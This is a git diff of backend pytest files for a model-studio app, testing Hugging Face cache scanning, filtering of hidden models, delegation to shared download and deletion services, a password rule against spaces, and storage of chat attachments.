diff --git a/studio/backend/tests/test_cached_gguf_routes.py b/studio/backend/tests/test_cached_gguf_routes.py
index d4a7cae208..6f2c672002 100644
--- a/studio/backend/tests/test_cached_gguf_routes.py
+++ b/studio/backend/tests/test_cached_gguf_routes.py
@@ -66,6 +66,66 @@ def test_iter_gguf_paths_matches_extension_case_insensitively(tmp_path):
     assert result == ["Q4_K_M.gguf", "Q8_0.GGUF"]
 
 
+def test_legacy_hf_scan_uses_snapshot_path_for_inactive_cache(tmp_path):
+    repo = tmp_path / "models--Org--Model"
+    snapshot = repo / "snapshots" / "revision"
+    snapshot.mkdir(parents = True)
+
+    [row] = models_route._scan_hf_cache(tmp_path, active_cache = False)
+
+    assert row.model_id == "Org/Model"
+    assert row.id == str(snapshot.resolve())
+    assert row.path == str(snapshot.resolve())
+
+
+def test_collect_local_models_scans_previous_cache(monkeypatch, tmp_path):
+    active = tmp_path / "active"
+    previous = tmp_path / "previous"
+    active.mkdir()
+    snapshot = previous / "models--Org--Previous" / "snapshots" / "revision"
+    snapshot.mkdir(parents = True)
+
+    monkeypatch.setattr(models_route, "_resolve_hf_cache_dir", lambda: active)
+    monkeypatch.setattr("utils.paths.legacy_hf_cache_dir", lambda: tmp_path / "legacy")
+    monkeypatch.setattr("utils.paths.hf_default_cache_dir", lambda: tmp_path / "default")
+    monkeypatch.setattr("utils.paths.lmstudio_model_dirs", lambda: [])
+    monkeypatch.setattr("utils.hf_cache_settings.known_hf_hub_caches", lambda: [active, previous])
+    monkeypatch.setattr("storage.studio_db.list_scan_folders", lambda: [])
+
+    rows = models_route.collect_local_models(tmp_path / "models")
+
+    previous_row = next(row for row in rows if row.model_id == "Org/Previous")
+    assert previous_row.id == str(snapshot.resolve())
+
+
+def test_collect_local_models_prefers_complete_previous_copy(monkeypatch, tmp_path):
+    active = tmp_path / "active"
+    previous = tmp_path / "previous"
+    active_partial = active / "models--Org--Model" / "blobs" / "abc.incomplete"
+    active_partial.parent.mkdir(parents = True)
+    active_partial.write_bytes(b"partial")
+    snapshot = previous / "models--Org--Model" / "snapshots" / "revision"
+    snapshot.mkdir(parents = True)
+    (snapshot / "model.safetensors").write_bytes(b"complete")
+
+    monkeypatch.setattr(models_route, "_resolve_hf_cache_dir", lambda: active)
+    monkeypatch.setattr("utils.paths.legacy_hf_cache_dir", lambda: tmp_path / "legacy")
+    monkeypatch.setattr("utils.paths.hf_default_cache_dir", lambda: tmp_path / "default")
+    monkeypatch.setattr("utils.paths.lmstudio_model_dirs", lambda: [])
+    monkeypatch.setattr(
+        "utils.hf_cache_settings.known_hf_hub_caches",
+        lambda: [active, previous],
+    )
+    monkeypatch.setattr("storage.studio_db.list_scan_folders", lambda: [])
+
+    rows = models_route.collect_local_models(tmp_path / "models")
+
+    [row] = [row for row in rows if row.model_id == "Org/Model"]
+    assert row.id == str(snapshot.resolve())
+    assert row.partial is False
+    assert row.active_cache is False
+
+
 def test_list_cached_gguf_includes_non_suffix_repo_when_cache_contains_gguf(monkeypatch, tmp_path):
     repo = _repo(
         "HauhauCS/Gemma-4-E4B-Uncensored-HauhauCS-Aggressive",
@@ -120,12 +180,217 @@ def test_is_hidden_model_hides_validation_probe_everywhere():
     assert models_route._is_hidden_model(
         None, "/hf/models--ggml-org--models/snapshots/abc/tinyllamas/stories260K.gguf"
     )
+    # A Windows-style snapshot path must match too, even on a POSIX interpreter
+    # (the filename check splits on both separators).
+    assert models_route._is_hidden_model(
+        r"C:\Users\u\.cache\huggingface\hub\models--ggml-org--models\snapshots\abc\tinyllamas\stories260K.gguf"
+    )
     assert not models_route._is_hidden_model("unsloth/gemma-3-270m-it-GGUF")
     # The exact-filename needle must not hide a real repo that merely
     # references stories260K in its name.
     assert not models_route._is_hidden_model("user/stories260K-finetune-GGUF")
 
 
+def test_is_hidden_model_hides_dictation_models(tmp_path):
+    assert models_route._is_hidden_model("unsloth/whisper-tiny")
+    assert models_route._is_hidden_model("unsloth/whisper-base")
+    assert models_route._is_hidden_model("unsloth/whisper-small")
+    assert models_route._is_hidden_model("unsloth/whisper-large-v3-turbo")
+    assert models_route._is_hidden_model(
+        "/hf/models--unsloth--whisper-large-v3/snapshots/abc/model.safetensors"
+    )
+    assert not models_route._is_hidden_model("user/whisper-finetune")
+    assert not models_route._is_hidden_model(
+        "C:\\cache\\models--unsloth--whisper-small-finetune\\model.safetensors"
+    )
+    custom = tmp_path / "custom-whisper"
+    custom.mkdir()
+    (custom / "config.json").write_text(
+        '{"model_type": "whisper", "architectures": ["WhisperForConditionalGeneration"]}'
+    )
+    (custom / "model.safetensors").write_bytes(b"weights")
+    assert models_route._is_hidden_model(
+        "user/custom-checkpoint",
+        str(custom / "model.safetensors"),
+    )
+    named_only = tmp_path / "whisper-finetune"
+    named_only.mkdir()
+    (named_only / "config.json").write_text('{"model_type": "llama"}')
+    assert not models_route._is_hidden_model("user/whisper-finetune", str(named_only))
+
+
+def test_list_cached_models_hides_custom_whisper_by_config(monkeypatch, tmp_path):
+    # Regression: the legacy /cached-models picker must pass the snapshot path so
+    # the config check hides a custom (non-curated) Whisper checkpoint; a bare
+    # repo id cannot ("user/whisper-finetune" is not in the curated set).
+    repo_path = tmp_path / "models--user--whisper-finetune"
+    snap = repo_path / "snapshots" / "abc"
+    snap.mkdir(parents = True)
+    (snap / "config.json").write_text(
+        '{"model_type": "whisper", "architectures": ["WhisperForConditionalGeneration"]}'
+    )
+    (snap / "model.safetensors").write_bytes(b"weights")
+
+    captured: list = []
+    real_hidden = models_route._is_hidden_model
+
+    def spy(*values):
+        captured.append(values)
+        return real_hidden(*values)
+
+    monkeypatch.setattr(models_route, "_is_hidden_model", spy)
+    repo = _repo(
+        "user/whisper-finetune",
+        [SimpleNamespace(file_name = "model.safetensors", size_on_disk = 10)],
+        repo_path,
+    )
+    monkeypatch.setattr(
+        models_route, "_all_hf_cache_scans", lambda: [SimpleNamespace(repos = [repo])]
+    )
+
+    result = asyncio.run(
+        models_route.list_cached_models(current_subject = "test-user", hf_token = None)
+    )
+    # The route passed the snapshot path (not just the repo id) ...
+    assert any(str(repo_path) in values for values in captured)
+    # ... so the custom Whisper checkpoint is hidden from the chat picker.
+    assert result["cached"] == []
+
+
+def test_is_hidden_model_matches_repo_ids_exactly(monkeypatch):
+    """A custom embedder with a generic basename is hidden by EXACT repo-id
+    match only, so unrelated cached repos that merely contain the basename stay
+    visible. Regression: substring basename matching hid real chat models like
+    ``user/model-chat`` from the On Device inventory."""
+    from core.rag import config as rag_config
+
+    monkeypatch.setattr(rag_config, "effective_embedding_model", lambda: "org/model")
+    monkeypatch.setattr(rag_config, "effective_gguf_repo", lambda: "org/model-GGUF")
+
+    # The exact embedder repo and its GGUF companion are hidden.
+    assert models_route._is_hidden_model("org/model")
+    assert models_route._is_hidden_model("org/model-GGUF")
+    # Unrelated repos that merely contain "model" must NOT be hidden.
+    assert not models_route._is_hidden_model("user/model-chat")
+    assert not models_route._is_hidden_model("org/model-instruct")
+    assert not models_route._is_hidden_model("acme/remodelled-chat")
+    # The validation probe stays hidden regardless of embedder config.
+    assert models_route._is_hidden_model("ggml-org/models")
+
+
+def test_is_hidden_model_matches_repo_derived_local_paths(monkeypatch):
+    """Match exact repo-derived cache and LM Studio paths."""
+    from core.rag import config as rag_config
+
+    monkeypatch.setattr(rag_config, "effective_embedding_model", lambda: "org/model")
+    monkeypatch.setattr(rag_config, "effective_gguf_repo", lambda: "org/model-GGUF")
+
+    assert models_route._is_hidden_model(
+        "/cache/models--org--model/snapshots/abc/model.safetensors"
+    )
+    assert models_route._is_hidden_model(
+        r"C:\Users\u\.cache\huggingface\hub\models--org--model-GGUF\snapshots\abc"
+    )
+    assert models_route._is_hidden_model("/lm-studio/org/model-GGUF/model-Q8_0.gguf")
+    assert not models_route._is_hidden_model("/lm-studio/user/model-chat/model-Q8_0.gguf")
+    assert not models_route._is_hidden_model("/cache/models--org--model-instruct")
+
+
+def test_is_hidden_model_prefers_existing_relative_path(monkeypatch, tmp_path):
+    """Prefer an existing relative path over repo-id syntax."""
+    from core.rag import config as rag_config
+
+    embedder = tmp_path / "models" / "embedder"
+    embedder.mkdir(parents = True)
+    monkeypatch.chdir(tmp_path)
+    monkeypatch.setattr(rag_config, "effective_embedding_model", lambda: "models/embedder")
+    monkeypatch.setattr(rag_config, "effective_gguf_repo", lambda: "org/embedder-GGUF")
+
+    assert models_route._is_hidden_model(str(embedder))
+
+
+def test_is_hidden_model_keeps_stale_default_embedder_hidden(monkeypatch):
+    """Keep default embedders hidden after a settings change."""
+    from core.rag import config as rag_config
+
+    monkeypatch.setattr(rag_config, "effective_embedding_model", lambda: "org/custom")
+    monkeypatch.setattr(rag_config, "effective_gguf_repo", lambda: "org/custom-GGUF")
+
+    assert models_route._is_hidden_model("unsloth/bge-small-en-v1.5")
+    assert models_route._is_hidden_model("unsloth/bge-small-en-v1.5-GGUF")
+    assert models_route._is_hidden_model("/models/bge-small-en-v1.5")
+    assert models_route._is_hidden_model("/models/bge-small-en-v1.5-F16.gguf")
+    assert models_route._is_hidden_model(r"C:\models\bge-small-en-v1.5-Q8_0.gguf")
+    # Repo IDs still use exact matching, and similar local basenames must have
+    # a real separator after the static default name.
+    assert not models_route._is_hidden_model("user/bge-small-en-v1.5-chat")
+    assert not models_route._is_hidden_model("/models/bge-small-en-v1.50")
+
+
+def test_is_hidden_model_keeps_env_default_hidden_after_override(monkeypatch):
+    """A persisted override must not expose the deployment's env default."""
+    from core.rag import config as rag_config
+
+    monkeypatch.delenv("RAG_EMBED_GGUF_REPO", raising = False)
+    monkeypatch.setattr(rag_config, "EMBEDDING_MODEL", "org/env-default")
+    monkeypatch.setattr(rag_config, "effective_embedding_model", lambda: "org/custom")
+    monkeypatch.setattr(rag_config, "effective_gguf_repo", lambda: "org/custom-GGUF")
+
+    assert models_route._is_hidden_model("org/env-default")
+    assert models_route._is_hidden_model("org/env-default-GGUF")
+    assert models_route._is_hidden_model("org/custom")
+    assert models_route._is_hidden_model("org/custom-GGUF")
+    assert not models_route._is_hidden_model("org/env-default-chat")
+
+
+def test_hidden_models_importable_without_heavy_model_stack():
+    """The hub cache scanner imports ``is_hidden_model`` at module scope, so it
+    must not drag in ``utils/models/__init__`` (the model-config + checkpoint
+    stack). Verify in a clean interpreter that importing the helper touches
+    neither ``utils.models`` nor those heavy submodules, and still classifies
+    the probe."""
+    import os
+    import subprocess
+    import textwrap
+
+    backend = Path(__file__).resolve().parents[1]
+    code = textwrap.dedent(
+        """
+        import sys
+
+        class _Blocker:
+            _blocked = (
+                "utils.models",
+                "utils.models.model_config",
+                "utils.models.checkpoints",
+            )
+
+            def find_spec(self, name, path=None, target=None):
+                if name in self._blocked:
+                    raise ImportError("blocked heavy import: " + name)
+                return None
+
+        sys.meta_path.insert(0, _Blocker())
+        from utils.hidden_models import is_hidden_model
+
+        loaded = sorted(m for m in sys.modules if m.startswith("utils.models"))
+        assert not loaded, loaded
+        assert is_hidden_model("ggml-org/models") is True
+        assert is_hidden_model("unsloth/gemma-3-270m-it-GGUF") is False
+        print("HIDDEN_MODELS_IMPORT_OK")
+        """
+    )
+    env = dict(os.environ, PYTHONPATH = str(backend))
+    proc = subprocess.run(
+        [sys.executable, "-c", code],
+        capture_output = True,
+        text = True,
+        env = env,
+    )
+    assert proc.returncode == 0, proc.stderr
+    assert "HIDDEN_MODELS_IMPORT_OK" in proc.stdout
+
+
 def test_list_cached_gguf_hides_llama_validation_probe(monkeypatch, tmp_path):
     """The ggml-org/models / stories260K install validation probe can land in
     the HF cache as a side effect of installing the prebuilt llama-server.
@@ -434,33 +699,14 @@ def _gfile(name: str, size: int, mtime: float) -> SimpleNamespace:
     )
 
 
-def test_all_hf_cache_scans_survives_inaccessible_aux_cache(monkeypatch, tmp_path):
-    """An unreadable auxiliary cache (e.g. an inaccessible
-    ``~/.cache/huggingface/hub``) must be skipped, not abort the scan.
-    Regression guard for ``extra.is_dir()`` raising and wiping the response.
-    """
-    import huggingface_hub
-    import utils.paths as paths_mod
+def test_all_hf_cache_scans_uses_shared_inventory(monkeypatch, tmp_path):
+    from hub.utils import inventory_scan
 
     active = SimpleNamespace(
         repos = [_repo("Org/Active", [_file("Q4_K_M.gguf", 5_000)], tmp_path / "active")]
     )
 
-    def _fake_scan(cache_dir = None):
-        if cache_dir is None:
-            return active
-        raise AssertionError("auxiliary scan should have been skipped")
-
-    class _Boom:
-        def is_dir(self):
-            raise PermissionError(13, "Permission denied")
-
-        def resolve(self):
-            raise PermissionError(13, "Permission denied")
-
-    monkeypatch.setattr(huggingface_hub, "scan_cache_dir", _fake_scan)
-    monkeypatch.setattr(paths_mod, "legacy_hf_cache_dir", lambda: _Boom())
-    monkeypatch.setattr(paths_mod, "hf_default_cache_dir", lambda: _Boom())
+    monkeypatch.setattr(inventory_scan, "all_hf_cache_scans", lambda: [active])
 
     scans = models_route._all_hf_cache_scans()
     assert scans == [active]
@@ -547,13 +793,17 @@ def test_gguf_variants_mmproj_does_not_mark_quant_downloaded(monkeypatch, tmp_pa
         "list_gguf_variants",
         lambda repo_id, hf_token = None: (variants, True, []),
     )
-    monkeypatch.setattr(GV, "_local_main_gguf_blobs_by_quant", lambda _repo_id: {})
+    monkeypatch.setattr(
+        GV,
+        "_local_main_gguf_blobs_by_quant",
+        lambda _repo_id, repo_cache_dir = None: {},
+    )
 
     snap = tmp_path / "models--org--repo" / "snapshots" / "rev"
     snap.mkdir(parents = True)
     (snap / "model-Q4_K_M.gguf").write_bytes(b"x" * 10_000)  # real weight, fully present
     (snap / "mmproj-F16.gguf").write_bytes(b"y" * 20_000)  # mmproj adapter, label "F16"
-    monkeypatch.setattr(GV, "iter_hf_cache_snapshots", lambda _repo_id: [snap])
+    monkeypatch.setattr(GV, "iter_hf_cache_snapshots", lambda _repo_id, root = None: [snap])
 
     result = asyncio.run(
         models_route.get_gguf_variants(
@@ -566,6 +816,52 @@ def test_gguf_variants_mmproj_does_not_mark_quant_downloaded(monkeypatch, tmp_pa
     assert flags["F16"] is False
 
 
+def test_gguf_variants_route_scopes_local_probe_to_selected_cache(monkeypatch, tmp_path):
+    snapshot = tmp_path / "inactive" / "models--org--repo" / "snapshots" / "rev"
+    snapshot.mkdir(parents = True)
+    calls = []
+
+    async def scoped_variants(repo_id, **kwargs):
+        calls.append((repo_id, kwargs))
+        return SimpleNamespace(
+            repo_id = repo_id,
+            variants = [],
+            has_vision = False,
+            default_variant = None,
+        )
+
+    context_calls = []
+    monkeypatch.setattr(GV, "get_gguf_variants_response", scoped_variants)
+    monkeypatch.setattr(
+        models_route,
+        "_read_native_context_length",
+        lambda model, *, is_local: context_calls.append((model, is_local)) or 8192,
+    )
+
+    result = asyncio.run(
+        models_route.get_gguf_variants(
+            repo_id = "org/repo",
+            prefer_local_cache = True,
+            local_path = str(snapshot),
+            hf_token = None,
+            current_subject = "test-user",
+        )
+    )
+
+    assert calls == [
+        (
+            "org/repo",
+            {
+                "prefer_local_cache": True,
+                "local_path": str(snapshot),
+                "hf_token": None,
+            },
+        )
+    ]
+    assert context_calls == [(str(snapshot), True)]
+    assert result.context_length == 8192
+
+
 def test_gguf_variants_ignore_big_endian_siblings(monkeypatch, tmp_path):
     siblings = [
         SimpleNamespace(rfilename = "model-Q4_K_M-be.gguf", size = 100),
@@ -587,12 +883,16 @@ def test_gguf_variants_ignore_big_endian_siblings(monkeypatch, tmp_path):
             siblings,
         ),
     )
-    monkeypatch.setattr(GV, "_local_main_gguf_blobs_by_quant", lambda _repo_id: {})
+    monkeypatch.setattr(
+        GV,
+        "_local_main_gguf_blobs_by_quant",
+        lambda _repo_id, repo_cache_dir = None: {},
+    )
 
     snap = tmp_path / "models--org--repo" / "snapshots" / "rev"
     snap.mkdir(parents = True)
     (snap / "model-Q4_K_M.gguf").write_bytes(b"x" * 10)
-    monkeypatch.setattr(GV, "iter_hf_cache_snapshots", lambda _repo_id: [snap])
+    monkeypatch.setattr(GV, "iter_hf_cache_snapshots", lambda _repo_id, root = None: [snap])
 
     result = asyncio.run(
         models_route.get_gguf_variants(
@@ -619,12 +919,16 @@ def test_gguf_variants_cached_big_endian_does_not_satisfy_variant(monkeypatch, t
         "list_gguf_variants",
         lambda repo_id, hf_token = None: (variants, False, []),
     )
-    monkeypatch.setattr(GV, "_local_main_gguf_blobs_by_quant", lambda _repo_id: {})
+    monkeypatch.setattr(
+        GV,
+        "_local_main_gguf_blobs_by_quant",
+        lambda _repo_id, repo_cache_dir = None: {},
+    )
 
     snap = tmp_path / "models--org--repo" / "snapshots" / "rev"
     snap.mkdir(parents = True)
     (snap / "model-Q4_K_M-be.gguf").write_bytes(b"x" * 10)
-    monkeypatch.setattr(GV, "iter_hf_cache_snapshots", lambda _repo_id: [snap])
+    monkeypatch.setattr(GV, "iter_hf_cache_snapshots", lambda _repo_id, root = None: [snap])
 
     result = asyncio.run(
         models_route.get_gguf_variants(
@@ -635,66 +939,82 @@ def test_gguf_variants_cached_big_endian_does_not_satisfy_variant(monkeypatch, t
     assert result.variants[0].downloaded is False
 
 
-def test_gguf_download_progress_excludes_mmproj(monkeypatch, tmp_path):
-    """A cached mmproj adapter must not count toward a same-label main
-    variant's download progress (mmproj-F16 vs an F16 weight)."""
-    import huggingface_hub.constants as hf_constants
+def test_legacy_gguf_progress_delegates_to_shared_service(monkeypatch):
+    calls = []
 
-    monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path))
-    snap = tmp_path / "models--org--repo" / "snapshots" / "rev"
-    snap.mkdir(parents = True)
-    (snap / "mmproj-F16.gguf").write_bytes(b"y" * 20_000)  # only the adapter on disk
+    async def shared(repo_id, *, variant, expected_bytes, hf_token):
+        calls.append((repo_id, variant, expected_bytes, hf_token))
+        return {"downloaded_bytes": 10, "expected_bytes": 20, "progress": 0.5}
 
-    result = asyncio.run(
-        models_route.get_gguf_download_progress(
-            repo_id = "org/repo",
-            variant = "F16",
-            expected_bytes = 20_000,
-            current_subject = "test-user",
-        )
+    monkeypatch.setattr(
+        "hub.services.models.downloads.get_gguf_download_progress_response",
+        shared,
     )
 
-    assert result["downloaded_bytes"] == 0
-    assert result["progress"] == 0
-
-
-def test_gguf_download_progress_excludes_big_endian_sibling(monkeypatch, tmp_path):
-    import huggingface_hub.constants as hf_constants
-
-    monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path))
-    snap = tmp_path / "models--org--repo" / "snapshots" / "rev"
-    snap.mkdir(parents = True)
-    (snap / "model-Q4_K_M-be.gguf").write_bytes(b"y" * 20_000)
-
     result = asyncio.run(
         models_route.get_gguf_download_progress(
             repo_id = "org/repo",
             variant = "Q4_K_M",
-            expected_bytes = 20_000,
+            expected_bytes = 20,
+            hf_token = "token",
             current_subject = "test-user",
         )
     )
 
-    assert result["downloaded_bytes"] == 0
-    assert result["progress"] == 0
+    assert result["progress"] == 0.5
+    assert calls == [("org/repo", "Q4_K_M", 20, "token")]
 
 
-def test_gguf_download_progress_counts_quant_subdir(monkeypatch, tmp_path):
-    import huggingface_hub.constants as hf_constants
+def test_legacy_model_progress_delegates_to_shared_service(monkeypatch):
+    calls = []
 
-    monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path))
-    snap = tmp_path / "models--org--repo" / "snapshots" / "rev" / "Q4_K_M"
-    snap.mkdir(parents = True)
-    (snap / "foo.gguf").write_bytes(b"x" * 20_000)
+    async def shared(repo_id, *, hf_token):
+        calls.append((repo_id, hf_token))
+        return {"downloaded_bytes": 10, "expected_bytes": 20, "progress": 0.5}
+
+    monkeypatch.setattr(
+        "hub.services.models.downloads.get_download_progress_response",
+        shared,
+    )
 
     result = asyncio.run(
-        models_route.get_gguf_download_progress(
+        models_route.get_download_progress(
             repo_id = "org/repo",
-            variant = "Q4_K_M",
-            expected_bytes = 20_000,
+            hf_token = "token",
             current_subject = "test-user",
         )
     )
 
-    assert result["downloaded_bytes"] == 20_000
-    assert result["progress"] == 1.0
+    assert result["progress"] == 0.5
+    assert calls == [("org/repo", "token")]
+
+
+def test_legacy_delete_delegates_to_shared_service(monkeypatch):
+    calls = []
+
+    async def shared(
+        repo_id,
+        variant,
+        hf_token,
+        cache_path = None,
+    ):
+        calls.append((repo_id, variant, hf_token, cache_path))
+        return {"status": "deleted", "repo_id": repo_id}
+
+    monkeypatch.setattr(
+        "hub.services.models.deletion.delete_cached_model_response",
+        shared,
+    )
+
+    result = asyncio.run(
+        models_route.delete_cached_model(
+            repo_id = "org/repo",
+            variant = None,
+            cache_path = "/data/hf/hub",
+            hf_token = "token",
+            current_subject = "test-user",
+        )
+    )
+
+    assert result == {"status": "deleted", "repo_id": "org/repo"}
+    assert calls == [("org/repo", None, "token", "/data/hf/hub")]
diff --git a/studio/backend/tests/test_change_password_policy.py b/studio/backend/tests/test_change_password_policy.py
new file mode 100644
index 0000000000..c73e9ed839
--- /dev/null
+++ b/studio/backend/tests/test_change_password_policy.py
@@ -0,0 +1,75 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import asyncio
+import importlib.util
+import sys
+from pathlib import Path
+
+import pytest
+from fastapi import HTTPException
+
+_BACKEND_ROOT = Path(__file__).resolve().parents[1]
+if str(_BACKEND_ROOT) not in sys.path:
+    sys.path.insert(0, str(_BACKEND_ROOT))
+
+from models.auth import ChangePasswordRequest  # noqa: E402
+
+# Load routes/auth.py directly so collection does not execute routes/__init__.py,
+# which pulls in the heavy training/models/inference routers.
+_route_path = _BACKEND_ROOT / "routes" / "auth.py"
+_spec = importlib.util.spec_from_file_location("_change_password_route", _route_path)
+assert _spec is not None and _spec.loader is not None
+auth_routes = importlib.util.module_from_spec(_spec)
+_spec.loader.exec_module(auth_routes)
+
+
+@pytest.fixture
+def _user(monkeypatch):
+    monkeypatch.setattr(
+        auth_routes.storage,
+        "get_user_and_secret",
+        lambda username: ("salt", "hash", "jwt-secret", False),
+    )
+    monkeypatch.setattr(
+        auth_routes.hashing,
+        "verify_password",
+        lambda password, salt, pwd_hash: password == "bootstrap-pw",
+    )
+
+
+def _change(new_password):
+    payload = ChangePasswordRequest(
+        current_password = "bootstrap-pw",
+        new_password = new_password,
+    )
+    return asyncio.run(auth_routes.change_password(payload, None, "unsloth"))
+
+
+def test_rejects_whitespace_only_password(_user):
+    with pytest.raises(HTTPException) as excinfo:
+        _change(" " * 8)
+    assert excinfo.value.status_code == 400
+    assert "spaces" in excinfo.value.detail
+
+
+def test_rejects_tabs_and_spaces_password(_user):
+    with pytest.raises(HTTPException) as excinfo:
+        _change(" \t \t \t \t ")
+    assert excinfo.value.status_code == 400
+
+
+def test_rejects_password_containing_spaces(_user):
+    with pytest.raises(HTTPException) as excinfo:
+        _change("correct horse battery")
+    assert excinfo.value.status_code == 400
+    assert "spaces" in excinfo.value.detail
+
+
+def test_allows_password_without_spaces(_user, monkeypatch):
+    monkeypatch.setattr(auth_routes.storage, "update_password", lambda *args, **kwargs: True)
+    monkeypatch.setattr(auth_routes, "create_access_token", lambda subject: "at")
+    monkeypatch.setattr(auth_routes, "create_refresh_token", lambda subject: "rt")
+    token = _change("correct-horse-battery")
+    assert token.access_token == "at"
+    assert token.must_change_password is False
diff --git a/studio/backend/tests/test_chat_attachments.py b/studio/backend/tests/test_chat_attachments.py
new file mode 100644
index 0000000000..459587ca9e
--- /dev/null
+++ b/studio/backend/tests/test_chat_attachments.py
@@ -0,0 +1,634 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import base64
+import json
+import os
+import sqlite3
+import sys
+
+import pytest
+from fastapi import HTTPException
+
+_backend = os.path.join(os.path.dirname(__file__), "..")
+sys.path.insert(0, _backend)
+
+from routes import chat_history
+from storage import studio_db
+from utils.paths import studio_db_path
+
+PNG_BYTES = base64.b64decode(
+    "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwAEhQGAhKmMIQAAAABJRU5ErkJggg=="
+)
+PNG_DATA_URL = "data:image/png;base64," + base64.b64encode(PNG_BYTES).decode("ascii")
+
+
+def _reset_studio_db(tmp_path, monkeypatch):
+    monkeypatch.setenv("UNSLOTH_STUDIO_HOME", str(tmp_path))
+    monkeypatch.setenv("UNSLOTH_STUDIO_PROJECTS_HOME", str(tmp_path / "Projects"))
+    monkeypatch.setattr(studio_db, "_schema_ready", False)
+
+
+def _thread(
+    thread_id: str = "thread-1",
+    title: str = "Test Chat",
+    pair_id: str | None = None,
+) -> dict:
+    return {
+        "id": thread_id,
+        "title": title,
+        "modelType": "base",
+        "modelId": "test-model",
+        "pairId": pair_id,
+        "archived": False,
+        "createdAt": 1_700_000_000_000,
+    }
+
+
+def _message(
+    message_id: str,
+    created_at: int = 1_700_000_000_000,
+    attachments = None,
+    thread_id: str = "thread-1",
+) -> dict:
+    message = {
+        "id": message_id,
+        "threadId": thread_id,
+        "parentId": None,
+        "role": "user",
+        "content": [{"type": "text", "text": "hello"}],
+        "createdAt": created_at,
+    }
+    if attachments is not None:
+        message["attachments"] = attachments
+    return message
+
+
+def _image_attachment(attachment_id: str = "att-1", name: str = "photo.png") -> dict:
+    return {
+        "id": attachment_id,
+        "type": "image",
+        "name": name,
+        "contentType": "image/png",
+        "content": [{"type": "image", "image": PNG_DATA_URL}],
+        "status": {"type": "complete"},
+    }
+
+
+def _seed(
+    tmp_path,
+    monkeypatch,
+    attachments,
+    message_id: str = "msg-1",
+):
+    _reset_studio_db(tmp_path, monkeypatch)
+    studio_db.upsert_chat_thread(_thread())
+    studio_db.upsert_chat_message(_message(message_id, attachments = attachments))
+
+
+def _set_raw_attachments_json(message_id: str, raw: str) -> None:
+    conn = sqlite3.connect(studio_db_path())
+    try:
+        conn.execute(
+            "UPDATE chat_messages SET attachments_json = ? WHERE id = ?",
+            (raw, message_id),
+        )
+        conn.commit()
+    finally:
+        conn.close()
+
+
+def _raw_attachments_json(message_id: str):
+    conn = sqlite3.connect(studio_db_path())
+    try:
+        row = conn.execute(
+            "SELECT attachments_json FROM chat_messages WHERE id = ?",
+            (message_id,),
+        ).fetchone()
+        return row[0] if row is not None else None
+    finally:
+        conn.close()
+
+
+# ---------------------------------------------------------------------------
+# Storage: list_chat_attachments
+# ---------------------------------------------------------------------------
+
+
+def test_list_chat_attachments_empty_db(tmp_path, monkeypatch):
+    _reset_studio_db(tmp_path, monkeypatch)
+    assert studio_db.list_chat_attachments() == []
+
+
+def test_list_chat_attachments_round_trip(tmp_path, monkeypatch):
+    _seed(tmp_path, monkeypatch, [_image_attachment()])
+    records = studio_db.list_chat_attachments()
+    assert len(records) == 1
+    record = records[0]
+    assert record["id"] == "att-1"
+    assert record["messageId"] == "msg-1"
+    assert record["threadId"] == "thread-1"
+    assert record["threadTitle"] == "Test Chat"
+    assert record["name"] == "photo.png"
+    assert record["type"] == "image"
+    assert record["contentType"] == "image/png"
+    assert record["createdAt"] == 1_700_000_000_000
+    # Base64 length estimate is within padding error of the decoded size.
+    assert abs(record["sizeBytes"] - len(PNG_BYTES)) <= 2
+
+
+def test_list_chat_attachments_counts_text_utf8(tmp_path, monkeypatch):
+    text = "héllo wörld é世界"
+    attachment = {
+        "id": "att-txt",
+        "type": "document",
+        "name": "notes.txt",
+        "content": [{"type": "text", "text": text}],
+    }
+    _seed(tmp_path, monkeypatch, [attachment])
+    records = studio_db.list_chat_attachments()
+    assert records[0]["sizeBytes"] == len(text.encode("utf-8"))
+
+
+def test_list_chat_attachments_no_content_size_is_none(tmp_path, monkeypatch):
+    attachment = {"id": "att-empty", "name": "ghost.bin", "content": []}
+    _seed(tmp_path, monkeypatch, [attachment])
+    records = studio_db.list_chat_attachments()
+    assert records[0]["sizeBytes"] is None
+    assert records[0]["name"] == "ghost.bin"
+
+
+def test_list_chat_attachments_defaults_missing_name(tmp_path, monkeypatch):
+    attachment = {"id": "att-noname", "content": []}
+    _seed(tmp_path, monkeypatch, [attachment])
+    assert studio_db.list_chat_attachments()[0]["name"] == "attachment"
+
+
+def test_list_chat_attachments_sanitizes_structured_metadata(tmp_path, monkeypatch):
+    attachment = {
+        "id": "att-weird",
+        "name": {"nested": "name"},
+        "type": ["image"],
+        "contentType": {"mime": "image/png"},
+        "content": [],
+    }
+    _seed(tmp_path, monkeypatch, [attachment])
+    record = studio_db.list_chat_attachments()[0]
+    assert record["name"] == "attachment"
+    assert record["type"] is None
+    assert record["contentType"] is None
+
+
+def test_list_chat_attachments_skips_malformed_rows(tmp_path, monkeypatch):
+    _reset_studio_db(tmp_path, monkeypatch)
+    studio_db.upsert_chat_thread(_thread())
+    for i, raw in enumerate(
+        [
+            "not json at all",
+            '{"id": "att-obj"}',
+            "null",
+            "[]",
+            '[{"noid": true}, "just a string", 42]',
+            '[{"id": ""}]',
+        ]
+    ):
+        message_id = f"msg-bad-{i}"
+        studio_db.upsert_chat_message(_message(message_id))
+        _set_raw_attachments_json(message_id, raw)
+    studio_db.upsert_chat_message(_message("msg-good", attachments = [_image_attachment("att-ok")]))
+    records = studio_db.list_chat_attachments()
+    assert [r["id"] for r in records] == ["att-ok"]
+
+
+def test_list_chat_attachments_orders_newest_first(tmp_path, monkeypatch):
+    _reset_studio_db(tmp_path, monkeypatch)
+    studio_db.upsert_chat_thread(_thread())
+    studio_db.upsert_chat_message(
+        _message("msg-old", 1_700_000_000_000, [_image_attachment("att-old")])
+    )
+    studio_db.upsert_chat_message(
+        _message("msg-new", 1_700_000_100_000, [_image_attachment("att-new")])
+    )
+    assert [r["id"] for r in studio_db.list_chat_attachments()] == ["att-new", "att-old"]
+
+
